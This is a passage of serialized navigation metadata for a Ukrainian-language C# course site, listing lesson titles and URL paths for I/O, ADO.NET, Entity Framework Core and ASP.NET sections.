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ОС","\u002Fcsharp\u002Fsystem-programming-windows\u002Fwindows-hooks-services","01.csharp\u002F07.system-programming-windows\u002F20.windows-hooks-services",{"title":376,"path":377,"stem":378},"Системне Програмування C# (Windows) — 07.system-programming-windows","\u002Fcsharp\u002Fsystem-programming-windows\u002Fimplementation_plan","01.csharp\u002F07.system-programming-windows\u002Fimplementation_plan",{"title":380,"icon":132,"path":381,"stem":382,"children":383,"page":59},"Io","\u002Fcsharp\u002Fio","01.csharp\u002F08.io",[384,388,392,396,400],{"title":385,"path":386,"stem":387},"8.1.1. Основи роботи з файловою системою","\u002Fcsharp\u002Fio\u002Ffile-system-basics","01.csharp\u002F08.io\u002F01.file-system-basics",{"title":389,"path":390,"stem":391},"8.1.2. Потоки (Streams) та Серіалізація Даних","\u002Fcsharp\u002Fio\u002Fstreams-serialization","01.csharp\u002F08.io\u002F02.streams-serialization",{"title":393,"path":394,"stem":395},"8.2.1. JSON Serialization з System.Text.Json","\u002Fcsharp\u002Fio\u002Fjson-serialization","01.csharp\u002F08.io\u002F03.json-serialization",{"title":397,"path":398,"stem":399},"8.2.2. XML Serialization та LINQ to XML","\u002Fcsharp\u002Fio\u002Fxml-serialization","01.csharp\u002F08.io\u002F04.xml-serialization",{"title":401,"path":402,"stem":403},"8.2.3. Binary Serialization: MessagePack та Protocol Buffers","\u002Fcsharp\u002Fio\u002Fbinary-serialization","01.csharp\u002F08.io\u002F05.binary-serialization",{"title":405,"icon":132,"path":406,"stem":407,"children":408,"page":59},"Ado Net","\u002Fcsharp\u002Fado-net","01.csharp\u002F09.ado-net",[409,413,417,421,425,429,433,437,441,445,449,453],{"title":410,"path":411,"stem":412},"9.1. Введення в ADO.NET","\u002Fcsharp\u002Fado-net\u002Fintroduction-to-adonet","01.csharp\u002F09.ado-net\u002F01.introduction-to-adonet",{"title":414,"path":415,"stem":416},"9.2. Клас DbConnection — з'єднання з базою даних","\u002Fcsharp\u002Fado-net\u002Fconnection","01.csharp\u002F09.ado-net\u002F02.connection",{"title":418,"path":419,"stem":420},"9.3. Клас DbCommand — виконання SQL-запитів","\u002Fcsharp\u002Fado-net\u002Fcommand-and-queries","01.csharp\u002F09.ado-net\u002F03.command-and-queries",{"title":422,"path":423,"stem":424},"9.4. Клас DbDataReader — ефективне читання даних","\u002Fcsharp\u002Fado-net\u002Fdatareader","01.csharp\u002F09.ado-net\u002F04.datareader",{"title":426,"path":427,"stem":428},"9.5. Параметризовані запити та захист від SQL Injection","\u002Fcsharp\u002Fado-net\u002Fparameters-and-sql-injection","01.csharp\u002F09.ado-net\u002F05.parameters-and-sql-injection",{"title":430,"path":431,"stem":432},"9.6. Транзакції в ADO.NET","\u002Fcsharp\u002Fado-net\u002Ftransactions","01.csharp\u002F09.ado-net\u002F06.transactions",{"title":434,"path":435,"stem":436},"9.7. DbProviderFactory — провайдер-незалежний код","\u002Fcsharp\u002Fado-net\u002Fprovider-factory","01.csharp\u002F09.ado-net\u002F07.provider-factory",{"title":438,"path":439,"stem":440},"9.8. Асинхронний доступ до даних","\u002Fcsharp\u002Fado-net\u002Fasync-data-access","01.csharp\u002F09.ado-net\u002F08.async-data-access",{"title":442,"path":443,"stem":444},"9.9. Від'єднаний режим: DataSet, DataTable, DataRow","\u002Fcsharp\u002Fado-net\u002Fdisconnected-mode-dataset","01.csharp\u002F09.ado-net\u002F09.disconnected-mode-dataset",{"title":446,"path":447,"stem":448},"9.10. DataAdapter — міст між DataSet та базою даних","\u002Fcsharp\u002Fado-net\u002Fdata-adapter","01.csharp\u002F09.ado-net\u002F10.data-adapter",{"title":450,"path":451,"stem":452},"9.11. Data Mapper та Repository: Архітектура доступу до даних","\u002Fcsharp\u002Fado-net\u002Fdata-mapper-repository","01.csharp\u002F09.ado-net\u002F11.data-mapper-repository",{"title":454,"path":455,"stem":456},"9.12. Identity Map, Unit of Work та Specification Pattern","\u002Fcsharp\u002Fado-net\u002Fadvanced-patterns","01.csharp\u002F09.ado-net\u002F12.advanced-patterns",{"title":458,"icon":255,"path":459,"stem":460,"children":461,"page":59},"Ef Core","\u002Fcsharp\u002Fef-core","01.csharp\u002F10.ef-core",[462,466,470,474,478,482,486,490,494,498,502,506,510,514,518,522,526,532,538,542,546,550,554,558,562,566,570,574,578,582,586,590,594,598,602,606,610,614,618,622,626,630,634,638,642,646],{"title":463,"path":464,"stem":465},"Що таке ORM? Від SQL до об'єктів","\u002Fcsharp\u002Fef-core\u002Fwhat-is-orm","01.csharp\u002F10.ef-core\u002F01.what-is-orm",{"title":467,"path":468,"stem":469},"Перший проєкт — від нуля до CRUD","\u002Fcsharp\u002Fef-core\u002Ffirst-project","01.csharp\u002F10.ef-core\u002F02.first-project",{"title":471,"path":472,"stem":473},"DbContext — Серце EF Core","\u002Fcsharp\u002Fef-core\u002Fdbcontext-deep-dive","01.csharp\u002F10.ef-core\u002F03.dbcontext-deep-dive",{"title":475,"path":476,"stem":477},"Провайдери баз даних — Архітектура та Вибір СУБД","\u002Fcsharp\u002Fef-core\u002Fdatabase-providers","01.csharp\u002F10.ef-core\u002F04.database-providers",{"title":479,"path":480,"stem":481},"Конвенції EF Core — Магія без конфігурації","\u002Fcsharp\u002Fef-core\u002Fconventions","01.csharp\u002F10.ef-core\u002F05.conventions",{"title":483,"path":484,"stem":485},"Fluent API та Data Annotations — Явна конфігурація моделі","\u002Fcsharp\u002Fef-core\u002Ffluent-api-vs-annotations","01.csharp\u002F10.ef-core\u002F06.fluent-api-vs-annotations",{"title":487,"path":488,"stem":489},"Зв'язки — One-to-One та One-to-Many","\u002Fcsharp\u002Fef-core\u002Frelationships-basics","01.csharp\u002F10.ef-core\u002F07.relationships-basics",{"title":491,"path":492,"stem":493},"Зв'язки Advanced — Many-to-Many та Складні Сценарії","\u002Fcsharp\u002Fef-core\u002Frelationships-advanced","01.csharp\u002F10.ef-core\u002F08.relationships-advanced",{"title":495,"path":496,"stem":497},"Властивості — Типи, Конвертери, Компаратори (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fproperty-configuration-part1","01.csharp\u002F10.ef-core\u002F09.property-configuration-part1",{"title":499,"path":500,"stem":501},"Властивості — Value Comparers, Generators, Shadow Properties (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fproperty-configuration-part2","01.csharp\u002F10.ef-core\u002F09.property-configuration-part2",{"title":503,"path":504,"stem":505},"Складні типи — Owned Types та Complex Types (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fcomplex-types-owned-part1","01.csharp\u002F10.ef-core\u002F10.complex-types-owned-part1",{"title":507,"path":508,"stem":509},"Складні типи — Complex Types, Keyless Entities, Порівняння (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fcomplex-types-owned-part2","01.csharp\u002F10.ef-core\u002F10.complex-types-owned-part2",{"title":511,"path":512,"stem":513},"JSON Columns — Складні дані у JSON (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fjson-columns-part1","01.csharp\u002F10.ef-core\u002F11.json-columns-part1",{"title":515,"path":516,"stem":517},"JSON Columns — Value Comparers, Індекси, Провайдери (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fjson-columns-part2","01.csharp\u002F10.ef-core\u002F11.json-columns-part2",{"title":519,"path":520,"stem":521},"Успадкування — Абстрактні класи та TPH (Частина 1)","\u002Fcsharp\u002Fef-core\u002Finheritance-part1","01.csharp\u002F10.ef-core\u002F12.inheritance-part1",{"title":523,"path":524,"stem":525},"Успадкування — TPT, TPC та Порівняння Стратегій (Частина 2)","\u002Fcsharp\u002Fef-core\u002Finheritance-part2","01.csharp\u002F10.ef-core\u002F12.inheritance-part2",{"title":527,"path":528,"stem":529,"children":530},"Індекси, Обмеження та Схема (Частина 1)","\u002Fcsharp\u002Fef-core\u002Findexes-constraints-part1","01.csharp\u002F10.ef-core\u002F13.indexes-constraints-part1",[531],{"title":527,"path":528,"stem":529},{"title":533,"path":534,"stem":535,"children":536},"Індекси, Обмеження та Схема (Частина 2)","\u002Fcsharp\u002Fef-core\u002Findexes-constraints-part2","01.csharp\u002F10.ef-core\u002F13.indexes-constraints-part2",[537],{"title":533,"path":534,"stem":535},{"title":539,"path":540,"stem":541},"Seed Data — Початкові Дані (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fseeding-part1","01.csharp\u002F10.ef-core\u002F14.seeding-part1",{"title":543,"path":544,"stem":545},"Seed Data — SQL-скрипти, Bogus та Стратегії (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fseeding-part2","01.csharp\u002F10.ef-core\u002F14.seeding-part2",{"title":547,"path":548,"stem":549},"Global Query Filters — Глобальні Фільтри (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fglobal-query-filters-part1","01.csharp\u002F10.ef-core\u002F15.global-query-filters-part1",{"title":551,"path":552,"stem":553},"Global Query Filters — Підводні камені та Інтеграція (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fglobal-query-filters-part2","01.csharp\u002F10.ef-core\u002F15.global-query-filters-part2",{"title":555,"path":556,"stem":557},"LINQ-запити в EF Core (Частина 1)","\u002Fcsharp\u002Fef-core\u002Flinq-queries-part1","01.csharp\u002F10.ef-core\u002F16.linq-queries-part1",{"title":559,"path":560,"stem":561},"LINQ-запити в EF Core (Частина 2)","\u002Fcsharp\u002Fef-core\u002Flinq-queries-part2","01.csharp\u002F10.ef-core\u002F16.linq-queries-part2",{"title":563,"path":564,"stem":565},"Завантаження Пов'язаних Даних (Частина 1)","\u002Fcsharp\u002Fef-core\u002Floading-related-data-part1","01.csharp\u002F10.ef-core\u002F17.loading-related-data-part1",{"title":567,"path":568,"stem":569},"Завантаження Пов'язаних Даних (Частина 2)","\u002Fcsharp\u002Fef-core\u002Floading-related-data-part2","01.csharp\u002F10.ef-core\u002F17.loading-related-data-part2",{"title":571,"path":572,"stem":573},"Raw SQL, Views та Stored Procedures (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fraw-sql-part1","01.csharp\u002F10.ef-core\u002F18.raw-sql-part1",{"title":575,"path":576,"stem":577},"Raw SQL — Stored Procedures, DbFunction та Bulk Operations (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fraw-sql-part2","01.csharp\u002F10.ef-core\u002F18.raw-sql-part2",{"title":579,"path":580,"stem":581},"Продвинуті Запити — Compiled Queries, Bulk та Оптимізація (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fadvanced-queries-part1","01.csharp\u002F10.ef-core\u002F19.advanced-queries-part1",{"title":583,"path":584,"stem":585},"Продвинуті Запити — Query Tags, Bulk та Interceptors (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fadvanced-queries-part2","01.csharp\u002F10.ef-core\u002F19.advanced-queries-part2",{"title":587,"path":588,"stem":589},"Change Tracker — Відстеження Змін (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fchange-tracking-part1","01.csharp\u002F10.ef-core\u002F20.change-tracking-part1",{"title":591,"path":592,"stem":593},"Change Tracker — Графи Об'єктів та Disconnected (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fchange-tracking-part2","01.csharp\u002F10.ef-core\u002F20.change-tracking-part2",{"title":595,"path":596,"stem":597},"Збереження Даних та Транзакції (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fsaving-data-part1","01.csharp\u002F10.ef-core\u002F21.saving-data-part1",{"title":599,"path":600,"stem":601},"Збереження Даних — Concurrency та Outbox (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fsaving-data-part2","01.csharp\u002F10.ef-core\u002F21.saving-data-part2",{"title":603,"path":604,"stem":605},"Конкурентність та Блокування (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fconcurrency-part1","01.csharp\u002F10.ef-core\u002F22.concurrency-part1",{"title":607,"path":608,"stem":609},"Конкурентність — Дедлоки та Queue Processing (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fconcurrency-part2","01.csharp\u002F10.ef-core\u002F22.concurrency-part2",{"title":611,"path":612,"stem":613},"Міграції в EF Core — Основи (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fmigrations-basics-part1","01.csharp\u002F10.ef-core\u002F23.migrations-basics-part1",{"title":615,"path":616,"stem":617},"Міграції в EF Core — Основи (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fmigrations-basics-part2","01.csharp\u002F10.ef-core\u002F23.migrations-basics-part2",{"title":619,"path":620,"stem":621},"Міграції — Просунуті Сценарії (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fmigrations-advanced-part1","01.csharp\u002F10.ef-core\u002F24.migrations-advanced-part1",{"title":623,"path":624,"stem":625},"Міграції — Просунуті Сценарії (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fmigrations-advanced-part2","01.csharp\u002F10.ef-core\u002F24.migrations-advanced-part2",{"title":627,"path":628,"stem":629},"Управління Схемою та Database-First (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fschema-management-part1","01.csharp\u002F10.ef-core\u002F25.schema-management-part1",{"title":631,"path":632,"stem":633},"Управління Схемою та Database-First (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fschema-management-part2","01.csharp\u002F10.ef-core\u002F25.schema-management-part2",{"title":635,"path":636,"stem":637},"Продуктивність EF Core — Основи (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fperformance-fundamentals-part1","01.csharp\u002F10.ef-core\u002F26.performance-fundamentals-part1",{"title":639,"path":640,"stem":641},"Interceptors в EF Core (Частина 1)","\u002Fcsharp\u002Fef-core\u002Finterceptors-part1","01.csharp\u002F10.ef-core\u002F29.interceptors-part1",{"title":643,"path":644,"stem":645},"Interceptors в EF Core — Connection, Transaction та Materialization (Частина 2)","\u002Fcsharp\u002Fef-core\u002Finterceptors-part2","01.csharp\u002F10.ef-core\u002F29.interceptors-part2",{"title":647,"path":648,"stem":649},"План вивчення Entity Framework Core — Повний курс","\u002Fcsharp\u002Fef-core\u002Fimplementation_plan","01.csharp\u002F10.ef-core\u002Fimplementation_plan",{"title":651,"icon":652,"path":653,"stem":654,"children":655,"page":59},"ASP.NET","i-devicon-dotnetcore","\u002Fcsharp\u002Faspnet","01.csharp\u002F11.aspnet",[656,730,791,869,927,941,967,1057,1111,1182,1212,1289,1346],{"title":657,"icon":658,"path":659,"stem":660,"children":661,"page":59},"Minimal API","i-lucide-network","\u002Fcsharp\u002Faspnet\u002Fminimal-api","01.csharp\u002F11.aspnet\u002F01.minimal-api",[662,666,670,674,678,682,686,690,694,698,702,706,710,714,718,722,726],{"title":663,"path":664,"stem":665},"Вступ до ASP.NET та еволюція фреймворку","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fintroduction","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F01.introduction",{"title":667,"path":668,"stem":669},"Перший додаток на ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Ffirst-application","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F02.first-application",{"title":671,"path":672,"stem":673},"WebApplication, Builder та Dependency Injection","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fwebapplication-builder","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F03.webapplication-builder",{"title":675,"path":676,"stem":677},"Конвеєр запитів та Middleware","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Frequest-pipeline-middleware","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F04.request-pipeline-middleware",{"title":679,"path":680,"stem":681},"Маршрутизація в ASP.NET Core: Основи","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Frouting-basics","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F05.routing-basics",{"title":683,"path":684,"stem":685},"Маршрутизація в ASP.NET Core: Розширені можливості","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Frouting-advanced","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F06.routing-advanced",{"title":687,"path":688,"stem":689},"Статичні файли в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fstatic-files","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F07.static-files",{"title":691,"path":692,"stem":693},"Статичні Активи: MapStaticAssets (ASP.NET Core 9.0)","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fstatic-assets","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F08.static-assets",{"title":695,"path":696,"stem":697},"Конфігурація в ASP.NET Core: Основи","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fconfiguration-fundamentals","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F09.configuration-fundamentals",{"title":699,"path":700,"stem":701},"Конфігурація: Паттерн Options","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fconfiguration-options","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F10.configuration-options",{"title":703,"path":704,"stem":705},"Логування в ASP.NET Core: Основи","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Flogging-basics","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F11.logging-basics",{"title":707,"path":708,"stem":709},"Логування: Serilog та Middleware","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Flogging-advanced","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F12.logging-advanced",{"title":711,"path":712,"stem":713},"Управління станом: HttpContext.Items та Cookies","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fstate-management","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F13.state-management",{"title":715,"path":716,"stem":717},"Стан сесії: Sessions","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fsession-state","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F14.session-state",{"title":719,"path":720,"stem":721},"Структура проєкту: від хаосу до архітектури","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fproject-structure","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F15.project-structure",{"title":723,"path":724,"stem":725},"Scalar у Minimal API: повний проєкт і Fluent OpenAPI","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fscalar-openapi-fluent","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F16.scalar-openapi-fluent",{"title":727,"path":728,"stem":729},"Swagger \u002F Swashbuckle у Minimal API: окремий класичний шлях","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fswagger-swashbuckle","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F17.swagger-swashbuckle",{"title":731,"icon":658,"path":732,"stem":733,"children":734,"page":59},"API","\u002Fcsharp\u002Faspnet\u002Fapi","01.csharp\u002F11.aspnet\u002F02.api",[735,739,743,747,751,755,759,763,767,771,775,779,783,787],{"title":736,"path":737,"stem":738},"Що таке API. Клієнт-серверна архітектура","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fwhat-is-api","01.csharp\u002F11.aspnet\u002F02.api\u002F01.what-is-api",{"title":740,"path":741,"stem":742},"Формати даних: JSON, XML, TOML та бінарні формати","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fdata-formats","01.csharp\u002F11.aspnet\u002F02.api\u002F02.data-formats",{"title":744,"path":745,"stem":746},"Парадигми API та концепція REST","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fapi-paradigms-rest","01.csharp\u002F11.aspnet\u002F02.api\u002F03.api-paradigms-rest",{"title":748,"path":749,"stem":750},"HTTP-методи, статус-коди та заголовки","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fhttp-methods-status-codes","01.csharp\u002F11.aspnet\u002F02.api\u002F04.http-methods-status-codes",{"title":752,"path":753,"stem":754},"Організація HTTP API за принципами REST","\u002Fcsharp\u002Faspnet\u002Fapi\u002Frest-organizing","01.csharp\u002F11.aspnet\u002F02.api\u002F05.rest-organizing",{"title":756,"path":757,"stem":758},"Номенклатура URL та CRUD-операції","\u002Fcsharp\u002Faspnet\u002Fapi\u002Furl-nomenclature-crud","01.csharp\u002F11.aspnet\u002F02.api\u002F06.url-nomenclature-crud",{"title":760,"path":761,"stem":762},"Правила дизайну: іменування та стандарти","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fapi-design-naming","01.csharp\u002F11.aspnet\u002F02.api\u002F07.api-design-naming",{"title":764,"path":765,"stem":766},"Валідація, ліміти та обробка помилок","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fapi-design-validation","01.csharp\u002F11.aspnet\u002F02.api\u002F08.api-design-validation",{"title":768,"path":769,"stem":770},"Обробка помилок у Minimal API","\u002Fcsharp\u002Faspnet\u002Fapi\u002Ferror-handling-http","01.csharp\u002F11.aspnet\u002F02.api\u002F09.error-handling-http",{"title":772,"path":773,"stem":774},"Ідемпотентність та синхронізація стану","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fidempotency-sync","01.csharp\u002F11.aspnet\u002F02.api\u002F10.idempotency-sync",{"title":776,"path":777,"stem":778},"Пагінація та організація списків","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fpagination-lists","01.csharp\u002F11.aspnet\u002F02.api\u002F11.pagination-lists",{"title":780,"path":781,"stem":782},"Безпека API, кешування та інтернаціоналізація","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fsecurity-auth","01.csharp\u002F11.aspnet\u002F02.api\u002F12.security-auth",{"title":784,"path":785,"stem":786},"Процес проєктування API та документування","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fapi-design-process","01.csharp\u002F11.aspnet\u002F02.api\u002F13.api-design-process",{"title":788,"path":789,"stem":790},"OpenAPI: контракт, специфікація та документація API","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fopenapi","01.csharp\u002F11.aspnet\u002F02.api\u002F14.openapi",{"title":792,"icon":793,"path":794,"stem":795,"children":796,"page":59},"Auth","i-lucide-shield-check","\u002Fcsharp\u002Faspnet\u002Fauth","01.csharp\u002F11.aspnet\u002F03.auth",[797,801,805,809,813,817,821,825,829,833,837,841,845,849,853,857,861,865],{"title":798,"path":799,"stem":800},"Основи аутентифікації та авторизації","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fauth-fundamentals","01.csharp\u002F11.aspnet\u002F03.auth\u002F01.auth-fundamentals",{"title":802,"path":803,"stem":804},"JWT-аутентифікація","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fjwt-authentication","01.csharp\u002F11.aspnet\u002F03.auth\u002F02.jwt-authentication",{"title":806,"path":807,"stem":808},"Авторизація: ролі, політики та resource-based доступ","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fauthorization-policies","01.csharp\u002F11.aspnet\u002F03.auth\u002F03.authorization-policies",{"title":810,"path":811,"stem":812},"Cookie-аутентифікація та ASP.NET Core Identity","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fcookie-auth-identity","01.csharp\u002F11.aspnet\u002F03.auth\u002F04.cookie-auth-identity",{"title":814,"path":815,"stem":816},"JWT + Refresh Tokens (HttpOnly Cookie)","\u002Fcsharp\u002Faspnet\u002Fauth\u002F04b.identity-auth-jwt","01.csharp\u002F11.aspnet\u002F03.auth\u002F04b.identity-auth-jwt",{"title":818,"path":819,"stem":820},"Identity: Підтвердження Email та Скидання Пароля","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fidentity-email-confirmation","01.csharp\u002F11.aspnet\u002F03.auth\u002F05.identity-email-confirmation",{"title":822,"path":823,"stem":824},"Identity: Двофакторна Аутентифікація (2FA)","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fidentity-two-factor","01.csharp\u002F11.aspnet\u002F03.auth\u002F06.identity-two-factor",{"title":826,"path":827,"stem":828},"Identity: Внутрішня Архітектура та Кастомізація","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fidentity-internals","01.csharp\u002F11.aspnet\u002F03.auth\u002F07.identity-internals",{"title":830,"path":831,"stem":832},"OAuth 2.0 та зовнішні провайдери","\u002Fcsharp\u002Faspnet\u002Fauth\u002Foauth-external-providers","01.csharp\u002F11.aspnet\u002F03.auth\u002F08.oauth-external-providers",{"title":834,"path":835,"stem":836},"Безпека на практиці: CORS, HTTPS та захист від атак","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fsecurity-hardening","01.csharp\u002F11.aspnet\u002F03.auth\u002F09.security-hardening",{"title":838,"path":839,"stem":840},"Теорія OAuth 2.0: Поняття, Аналогії та Флоу","\u002Fcsharp\u002Faspnet\u002Fauth\u002Foauth-theory","01.csharp\u002F11.aspnet\u002F03.auth\u002F10.oauth-theory",{"title":842,"path":843,"stem":844},"OIDC, OAuth 2.0 та Keycloak в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Foidc-keycloak","01.csharp\u002F11.aspnet\u002F03.auth\u002F10.oidc-keycloak",{"title":846,"path":847,"stem":848},"API Keys аутентифікація в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fapi-keys","01.csharp\u002F11.aspnet\u002F03.auth\u002F11.api-keys",{"title":850,"path":851,"stem":852},"Rate Limiting та Throttling в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Frate-limiting","01.csharp\u002F11.aspnet\u002F03.auth\u002F12.rate-limiting",{"title":854,"path":855,"stem":856},"Refresh Token Rotation в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Frefresh-token-rotation","01.csharp\u002F11.aspnet\u002F03.auth\u002F13.refresh-token-rotation",{"title":858,"path":859,"stem":860},"Certificate Authentication та mTLS в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fcertificate-auth","01.csharp\u002F11.aspnet\u002F03.auth\u002F14.certificate-auth",{"title":862,"path":863,"stem":864},"RBAC, ABAC та ReBAC в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Frbac-abac-rebac","01.csharp\u002F11.aspnet\u002F03.auth\u002F15.rbac-abac-rebac",{"title":866,"path":867,"stem":868},"Multi-tenancy та ізоляція даних в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fmulti-tenancy","01.csharp\u002F11.aspnet\u002F03.auth\u002F16.multi-tenancy",{"title":870,"icon":871,"path":872,"stem":873,"children":874,"page":59},"Нотифікації","i-lucide-bell","\u002Fcsharp\u002Faspnet\u002Fnotifications","01.csharp\u002F11.aspnet\u002F04.notifications",[875,879,883,887,891,895,899,903,907,911,915,919,923],{"title":876,"path":877,"stem":878},"In-App нотифікації через базу даних","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fin-app-database-notifications","01.csharp\u002F11.aspnet\u002F04.notifications\u002F01.in-app-database-notifications",{"title":880,"path":881,"stem":882},"Polling: Регулярний запит оновлень","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fpolling","01.csharp\u002F11.aspnet\u002F04.notifications\u002F02.polling",{"title":884,"path":885,"stem":886},"Server-Sent Events: Однострімовий push від сервера","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fserver-sent-events","01.csharp\u002F11.aspnet\u002F04.notifications\u002F03.server-sent-events",{"title":888,"path":889,"stem":890},"WebSockets: Двостороннє з'єднання в реальному часі","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fwebsockets","01.csharp\u002F11.aspnet\u002F04.notifications\u002F04.websockets",{"title":892,"path":893,"stem":894},"SignalR: Абстракція над транспортами реального часу","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fsignalr","01.csharp\u002F11.aspnet\u002F04.notifications\u002F05.signalr",{"title":896,"path":897,"stem":898},"Background Services: Фонові задачі в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fbackground-services","01.csharp\u002F11.aspnet\u002F04.notifications\u002F06.background-services",{"title":900,"path":901,"stem":902},"Web Push нотифікації","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fweb-push","01.csharp\u002F11.aspnet\u002F04.notifications\u002F07.web-push",{"title":904,"path":905,"stem":906},"Email нотифікації","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Femail-notifications","01.csharp\u002F11.aspnet\u002F04.notifications\u002F08.email-notifications",{"title":908,"path":909,"stem":910},"Порівняння підходів: Як вибрати правильну технологію нотифікацій","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fchoosing-the-right-approach","01.csharp\u002F11.aspnet\u002F04.notifications\u002F09.choosing-the-right-approach",{"title":912,"path":913,"stem":914},"Hangfire: Надійне планування фонових задач","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fhangfire","01.csharp\u002F11.aspnet\u002F04.notifications\u002F10.hangfire",{"title":916,"path":917,"stem":918},"Практика: Конвертація зображень у WebP через Hangfire","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fhangfire-image-webp","01.csharp\u002F11.aspnet\u002F04.notifications\u002F11.hangfire-image-webp",{"title":920,"path":921,"stem":922},"Практика: Підготовка відео до HLS-стрімінгу через Hangfire","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fhangfire-video-hls","01.csharp\u002F11.aspnet\u002F04.notifications\u002F12.hangfire-video-hls",{"title":924,"path":925,"stem":926},"Telegram-нотифікації: від одного повідомлення до масових розсилок і мульти-канального підходу","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Ftelegram-notifications","01.csharp\u002F11.aspnet\u002F04.notifications\u002F13.telegram-notifications",{"title":928,"icon":929,"path":930,"stem":931,"children":932,"page":59},"Інтернаціоналізація","i-lucide-languages","\u002Fcsharp\u002Faspnet\u002Fi18n","01.csharp\u002F11.aspnet\u002F05.i18n",[933,937],{"title":934,"path":935,"stem":936},"Інтернаціоналізація (i18n) у Minimal API: від A до Я","\u002Fcsharp\u002Faspnet\u002Fi18n\u002Finternationalization","01.csharp\u002F11.aspnet\u002F05.i18n\u002F01.internationalization",{"title":938,"path":939,"stem":940},"Humanizer: людиномовні рядки у 